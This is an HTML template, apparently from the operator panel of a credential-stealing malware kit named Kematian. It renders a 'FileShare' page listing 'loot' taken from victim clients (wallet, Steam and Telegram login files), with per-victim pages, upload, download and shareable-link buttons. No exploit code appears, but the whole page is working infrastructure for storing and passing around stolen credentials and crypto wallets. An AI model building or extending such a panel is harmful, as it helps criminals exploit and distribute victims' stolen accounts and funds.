74 lines
3.1 KiB
HTML
74 lines
3.1 KiB
HTML
{% extends "base.html" %}
|
|
{% block title %}FileShare · Kematian{% endblock %}
|
|
{% block content %}
|
|
<div class="page-head">
|
|
<div>
|
|
<h1>File<span class="accent">Share</span></h1>
|
|
<p class="muted">Hosted login files (wallets, Steam, Telegram) + your own uploads. Click a file to download, or copy its direct link.</p>
|
|
</div>
|
|
</div>
|
|
|
|
<div class="upload-card">
|
|
<h2>Upload a file</h2>
|
|
<form method="post" action="{{ url_for('fileshare_upload') }}" enctype="multipart/form-data" class="upload-form">
|
|
<label>File</label>
|
|
<input type="file" name="file" required>
|
|
<label>Category <span class="muted">(optional)</span></label>
|
|
<input type="text" name="category" value="upload" placeholder="upload" style="max-width:200px">
|
|
<button type="submit" class="btn btn-primary">Upload</button>
|
|
</form>
|
|
<p class="hint">Uploaded files are stored under <code>panel/loot/upload/</code> and get a shareable link.</p>
|
|
</div>
|
|
|
|
<h2 class="section-title">Hosted files <span class="muted">({{ blobs|length }})</span></h2>
|
|
<div class="table-card">
|
|
<table>
|
|
<thead><tr><th>Client</th><th>File</th><th>Type</th><th>Size</th><th></th></tr></thead>
|
|
<tbody>
|
|
{% for b in blobs %}
|
|
<tr>
|
|
<td>{% if b.client_id == 'upload' %}<span class="tag">upload</span>{% else %}<a href="{{ url_for('client_detail', client_id=b.client_id) }}" class="mono client-link">{{ b.client_id }}</a>{% endif %}</td>
|
|
<td class="mono"><a href="{{ url_for('loot_download', client_id=b.client_id, blob_id=b.id) }}">{{ b.filename }}</a></td>
|
|
<td><span class="tag">{{ b.category or '—' }}</span></td>
|
|
<td class="mono">{{ (b.size | filesize) }}</td>
|
|
<td>
|
|
<a class="btn btn-ghost btn-sm" href="{{ url_for('loot_download', client_id=b.client_id, blob_id=b.id) }}">Download</a>
|
|
<button type="button" class="btn btn-ghost btn-sm copy-link" data-url="{{ url_for('loot_download', client_id=b.client_id, blob_id=b.id) }}">Copy link</button>
|
|
</td>
|
|
</tr>
|
|
{% else %}
|
|
<tr><td colspan="5" class="empty">No files shared yet.</td></tr>
|
|
{% endfor %}
|
|
</tbody>
|
|
</table>
|
|
</div>
|
|
|
|
<h2 class="section-title">Clients with files</h2>
|
|
<div class="grid">
|
|
{% for cid, items in by_client.items() %}
|
|
<a class="type-card" href="{{ url_for('client_loot', client_id=cid) }}">
|
|
<img src="{{ url_for('static', filename='icons/files.svg') }}" class="type-ico" alt="">
|
|
<div class="type-body">
|
|
<div class="type-label mono">{{ 'your uploads' if cid == 'upload' else cid }}</div>
|
|
<div class="type-count">{{ items }} file{{ '' if items == 1 else 's' }}</div>
|
|
</div>
|
|
</a>
|
|
{% else %}
|
|
<p class="muted">No client has hosted files.</p>
|
|
{% endfor %}
|
|
</div>
|
|
|
|
<script>
|
|
document.addEventListener("click", (e) => {
|
|
const btn = e.target.closest(".copy-link");
|
|
if (!btn) return;
|
|
const url = new URL(btn.dataset.url, window.location.origin).href;
|
|
navigator.clipboard.writeText(url).then(() => {
|
|
const prev = btn.textContent;
|
|
btn.textContent = "copied ✓";
|
|
setTimeout(() => { btn.textContent = prev; }, 900);
|
|
}).catch(() => {});
|
|
});
|
|
</script>
|
|
{% endblock %}
|